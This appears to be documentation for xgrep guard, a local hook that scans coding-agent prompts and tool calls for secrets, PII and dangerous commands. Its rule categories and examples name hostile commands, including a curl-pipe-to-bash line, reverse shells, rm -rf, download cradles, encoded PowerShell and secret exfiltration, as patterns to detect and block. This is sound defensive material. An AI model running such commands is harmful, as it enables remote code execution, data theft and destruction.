Guard hooks
Block secrets and PII from leaving your machine through a coding agent, using xgrep as a Claude Code, OpenAI Codex, or Mistral Vibe hook.
xgrep guard runs as a hook inside Claude Code, OpenAI Codex, or Mistral Vibe and checks
what the agent is about to do before it happens:
- Secrets and PII in your prompt text and in tool arguments — an API key, an SSN, a credit card — before they are sent off your machine. Detection uses xgrep's built-in secret and PII rules with their offline validators, so placeholder/example values don't trigger false alarms.
- Dangerous commands a tool is about to run, on Unix and Windows — piping remote
content into a shell (
curl … | sh), a reverse shell,rm -rf, exfiltrating local secrets, or the PowerShell equivalents (a download-cradle /Invoke-Expression, and obfuscated-EncodedCommandpayloads, which are decoded and inspected).
When it finds something, it blocks the action (or asks, or warns) before it happens.
The guard is deterministic and local: it makes no network calls in the blocking path, and
the scanned text is never written to disk. The hook never sends usage telemetry, whatever your
telemetry setting, so it adds no network round trip to a tool call. (xgrep guard install and
xgrep guard daemon are ordinary commands and follow your telemetry setting.)
How it works
The guard reads a hook event as JSON on stdin and returns the agent's native decision:
| Agent | Event | What it checks | On a finding |
|---|---|---|---|
| Claude Code | UserPromptSubmit | secrets/PII in the prompt you submitted | rejects the prompt |
| Claude Code | PreToolUse | secrets/PII in tool arguments and a dangerous command the tool would run | denies / asks before the tool runs |
| OpenAI Codex | PreToolUse | secrets/PII in tool arguments and a dangerous command the tool would run | denies / asks before the tool runs |
| Mistral Vibe | pre_tool (bash) | secrets/PII in tool arguments and a dangerous command the tool would run | denies before the tool runs |
Codex and Vibe have no prompt-submit hook, so on those the guard covers tool actions only. On Claude Code it covers both your prompts and the agent's tool calls.
Guard guarantees are per-agent — xgrep can only act on what the agent's hook supports.
blockandallowwork everywhere. A hook-levelask(defer the decision back to you) exists on Claude Code and Codex; Vibe's hook has no "ask" return, so on Vibeaskfalls back to deny — use Vibe's own permission configuration if you want a prompt instead of a hard block.warn(allow but annotate) works on every agent.
Quick setup
The easiest way to configure the hook is to let xgrep write the config for you:
$ xgrep guard install --agent claude # Claude Code
$ xgrep guard install --agent codex # OpenAI Codex
$ xgrep guard install --agent mistral # Mistral VibeThis merges the hook into the agent's config idempotently — existing hooks and other settings
are preserved, and running it again is a no-op. Use --scope user to configure the agent for
all projects instead of just the current repository:
$ xgrep guard install --agent claude --scope user| Scope | Claude Code | OpenAI Codex | Mistral Vibe |
|---|---|---|---|
project (default) | .claude/settings.json | .codex/hooks.json | .vibe/hooks.toml |
user | ~/.claude/settings.json | ~/.codex/hooks.json (or $CODEX_HOME) | ~/.vibe/hooks.toml |
Add --daemon to also run the guard daemon as a per-user service (launchd
on macOS, a systemd user unit on Linux), so hooks skip loading rules on every call:
$ xgrep guard install --agent claude --daemonxgrep guard status shows what is installed and whether hooks are using the daemon.
xgrep guard uninstall is the inverse of install: --agent removes only the guard's own hook
entries from the agent's config, leaving everything else as it was, and --daemon stops and
removes the service. Both are safe to run when nothing is installed.
If you'd rather edit the config yourself, the manual steps are below.
Configure Claude Code manually
Add the hook to .claude/settings.json (project) or ~/.claude/settings.json (all projects):
{
"hooks": {
"UserPromptSubmit": [
{ "hooks": [{ "type": "command", "command": "xgrep guard --agent claude" }] }
],
"PreToolUse": [{ "hooks": [{ "type": "command", "command": "xgrep guard --agent claude" }] }]
}
}Configure OpenAI Codex manually
Add the hook to Codex's hooks.json:
{
"PreToolUse": [{ "command": ["xgrep", "guard", "--agent", "codex"] }]
}Configure Mistral Vibe manually
Add a pre_tool hook to .vibe/hooks.toml (project) or ~/.vibe/hooks.toml (all projects):
[[hooks]]
name = "xgrep-guard"
type = "pre_tool"
match = "bash"
command = "xgrep guard --agent mistral"Options
| Flag | Default | Effect |
|---|---|---|
--agent claude|codex|mistral | (required) | Which agent's hook format to speak. |
--mode block|ask|warn | block | block denies the action; ask defers to you; warn allows it but annotates the finding. ask requires a hook that can defer: a submitted prompt can't be deferred, so on Claude Code's UserPromptSubmit both block and ask reject it, and Mistral Vibe's hook has no "ask" return, so on Vibe ask behaves like block. |
--categories <name=mode,…> | (none) | Per-category modes over --mode, e.g. pii=off,destructive=ask (see Turning categories on and off). |
--fail-closed | off | When the guard can't reach a decision (see below), deny instead of the default fail-open allow. |
--rules <path> | built-in | Scan prompts and tool arguments with this rule pack instead of the built-in secret/PII rules (see Custom organization rules). The dangerous-command checks are unaffected. |
--no-daemon | off | Always scan in-process, even when a guard daemon is running. |
--daemon-socket <path> | per-user socket | Use a guard daemon listening somewhere other than the default socket. |
--command <cmd> | (off) | Scan a single command string and print a tool-neutral JSON verdict instead of reading a hook event (see below). --agent is not required. |
One-shot verdict for editors and mods
Most integrations run the guard as a hook that reads an agent event on stdin. An editor or a Claude Code mod that renders its own UI can instead ask for a verdict on one command:
$ xgrep guard --command 'curl http://example.sh | bash'
{"decision":"deny","summary":"xgrep guard blocked this action …","findings":[{"rule":"bash-curl-pipe-shell","title":"Curl pipe shell","line":1,"category":"remote-code"}]}It prints { "decision": "allow" | "ask" | "deny", "summary": <redacted>, "findings": [ … ] }
to stdout and always exits 0 — the verdict is the payload, not an exit code, so the caller
decides what to do with it. It scans the command exactly as the hook scans a Bash call that runs
it (secrets and PII, dangerous commands, referenced scripts, inline code). The category modes map
findings to the decision the same way the hook does (block→deny, ask→ask, warn→allow),
--rules, --categories and --fail-closed apply, each finding names its category, and the
summary is redacted exactly as a hook block message is (the matched text is never echoed).
By default the guard fails open: when it can't reach a decision, it allows the action and
logs the reason to .xgrep/guard.log at your repository root (or to stderr if that file can't
be written), so a guard problem never wedges your agent. That covers:
- a malformed or unreadable hook event, or an invalid
--agent; - rules that fail to load, or an internal error (a crash inside the guard is recovered, not turned into a block);
- a scan cut short: each item (the prompt, the tool arguments, a command, a script) gets 2 seconds and a whole event 8 seconds. Anything found before the cut still blocks; only a cut scan that found nothing falls under this policy.
With --fail-closed, each of these denies instead: the hook exits with the agent's
blocking code (2) and says why on stderr. Use it in high-security environments where a block
is the safer failure.
A guard daemon, when one is running, answers hook calls with rules already loaded. When the daemon finishes a scan in time, the hook reaches the same decision as scanning in-process: it validates the daemon's findings and renders the decision itself. When a scan runs past its time limit, the daemon answers with the findings it has and the event marked as not fully scanned, and the hook decides the way an in-process scan whose time ran out does: any finding still blocks, and otherwise the fail policy applies. The hook falls back to scanning in-process whenever the daemon is unavailable. The daemon isn't available on Windows, so there the hook always scans in-process.
Latency. Each hook call starts an xgrep process, and that start-up is most of its cost:
on an Apple M3 Max, a call took 50–70 ms at the median scanning in-process, against about
39 ms for xgrep version alone. With a guard daemon running, calls that find nothing or deny a
dangerous command are 11–24 ms faster; a call blocked for a secret takes about as long either
way.
Findings never include the matched secret value — the block message names the rule and the location only, so the secret is not echoed back into the transcript or the log.
Turning categories on and off
Every guard rule belongs to a category, and you can set each category's mode — block,
ask, warn, or off — instead of listing rule ids:
| Category | What it covers |
|---|---|
secrets | API keys, tokens and private keys in prompts and tool input |
pii | Personal data (e.g. SSNs) in prompts and tool input |
remote-code | Remote content downloaded and executed (pipe-to-shell installers, download cradles) |
remote-access | Reverse and bind shells |
exfiltration | Local secrets, credential files or the environment sent to a remote host |
destructive | Destructive operations (e.g. rm -rf of home or root) |
code-execution | Executing untrusted input or spawning a shell indirectly |
obfuscation | Obfuscated execution (e.g. base64-encoded commands) |
other | Guard rules outside the categories above (e.g. a custom rules pack) |
A rule's category comes from where it lives in the rule tree: everything under
rules/secrets/ is secrets, except rules/secrets/pii/, and a command rule takes the
category of its folder (reverse-shell/, download-cradle/, exfiltration/, …).
Set modes in a guard.yaml:
categories:
pii: ask
destructive: ask
obfuscation: warnEach category's mode is resolved in this order, later winning:
--mode— the default for every category;- your user config,
<user config dir>/xgrep/guard.yaml(e.g.~/.config/xgrep/guard.yamlon Linux,~/Library/Application Support/xgrep/guard.yamlon macOS); --categories, e.g.--categories pii=off,destructive=ask;- the repository's
.xgrep/guard.yaml— which can only make a category stricter. A repository you clone can't switch your guard off or soften it; a looser entry there is ignored and logged.
When one action has findings in several categories, the strictest mode decides. off drops a
category's findings entirely; warn allows the action and still reports them. An unknown
category or mode is ignored and logged to .xgrep/guard.log, and the rest of the
configuration still applies.
xgrep guard categories shows every category with its rule count, the mode it runs in for
the current directory, and where that mode came from:
$ xgrep guard categories
CATEGORY MODE FROM RULES DESCRIPTION
secrets block --mode 286 API keys, tokens and private keys in prompts and tool input
pii ask user config 3 Personal data (e.g. SSNs) in prompts and tool input
…Allowlisting known values
To stop the guard from blocking a sanctioned value (for example a documented example key in a
fixture), list the rule id — never the secret itself — in .xgrep/guard-allow.txt at your
repository root, one id per line (# starts a comment):
# example key used in our onboarding docs
openai-api-keyAn entry allows every finding of that rule in the repository, for any value and any location, and that includes the dangerous-command rules. Keep the list short, and treat a change to it like any other security-relevant change. To relax a whole kind of finding rather than one rule, set its category's mode instead.
Custom organization rules
Because xgrep is Semgrep-compatible, you can add your own patterns — internal hostnames,
project code-names, forbidden APIs, production-credential shapes — as a rule pack and point
the guard at it with --rules /path/to/your/rules. The pack replaces the built-in
secret/PII rules for prompts and tool arguments, so include secret rules in it if you still want
them. The dangerous-command checks keep using their built-in rules either way.
Note: with
--rules, the guard evaluates every rule in the pack, not only secret/PII rules. This is deliberate — it lets your organization block on custom patterns of any category. But it also means asecurity- or code-quality-category rule in the pack will fire and block, so keep the pack scoped to what you actually want to prevent from leaving the machine. (The built-in default, with no--rules, scans only secrets and PII.)
Scope
The guard is a prevention layer: keep secrets and PII from leaving the machine, and stop
the agent from running a genuinely dangerous command. It does not detect prompt injection or
reason about intent — those need a model in the loop and are handled separately. Its job is
the deterministic, high-precision part, and it errs toward not blocking: dangerous-command
detection uses a vetted allowlist of high-signal rules (RCE, reverse shell, rm -rf, exfil,
and their PowerShell equivalents), so an ordinary command like chmod 777 on a build
directory — or -ExecutionPolicy Bypass in a normal installer — is allowed through.
When a command runs a local script rather than an inline command — bash install.sh,
./deploy.sh, pwsh -File setup.ps1, python evil.py, node x.js — the guard also reads
that script and scans its contents, so a reverse shell (or a curl … | sh in a shell script)
hidden inside the file is caught before the tool runs it. It reads only regular files inside
your repository (never an absolute path like /etc/shadow), skips anything it cannot safely
read, and never echoes the file's contents.
For bash and PowerShell the referenced-script scan applies the full dangerous-command allowlist. Beyond the shells, the guard also scans a source file an agent is about to run or compile in any of these languages:
python, JavaScript/TypeScript, Ruby, Perl, PHP, Lua, Go, Rust, C, C++, Java, C#, Kotlin, Scala, Julia, OCaml, Swift.
It recognizes both a direct interpreter/compiler invocation (php x.php, go run x.go,
gcc x.c, javac X.java, rustc x.rs, ruby x.rb, perl x.pl) and direct execution by file
extension. For these languages the scan is scoped to three high-signal agent-safety checks and
nothing else, so it stays quiet on ordinary code:
- Reverse shell — code that opens a network socket and wires an interactive shell to it.
- Download cradle — remotely fetched content flowing into a code-execution sink
(
eval/ dynamic load / compile-and-run). - Sensitive-data exfiltration — a local secret (a secret-named environment variable, a credential or private-key file, a whole-environment dump) flowing into a network send.
The same three checks also apply when an interpreter runs the payload inline from an
argument instead of a file — php -r '…', python -c '…', ruby -e '…', perl -e '…',
node -e '…', lua -e '…', julia -e '…'. The guard pulls the inline program out of the
command and scans it as that language, so a one-liner download cradle or exfiltration is caught
just like one hidden in a script file.
Last updated on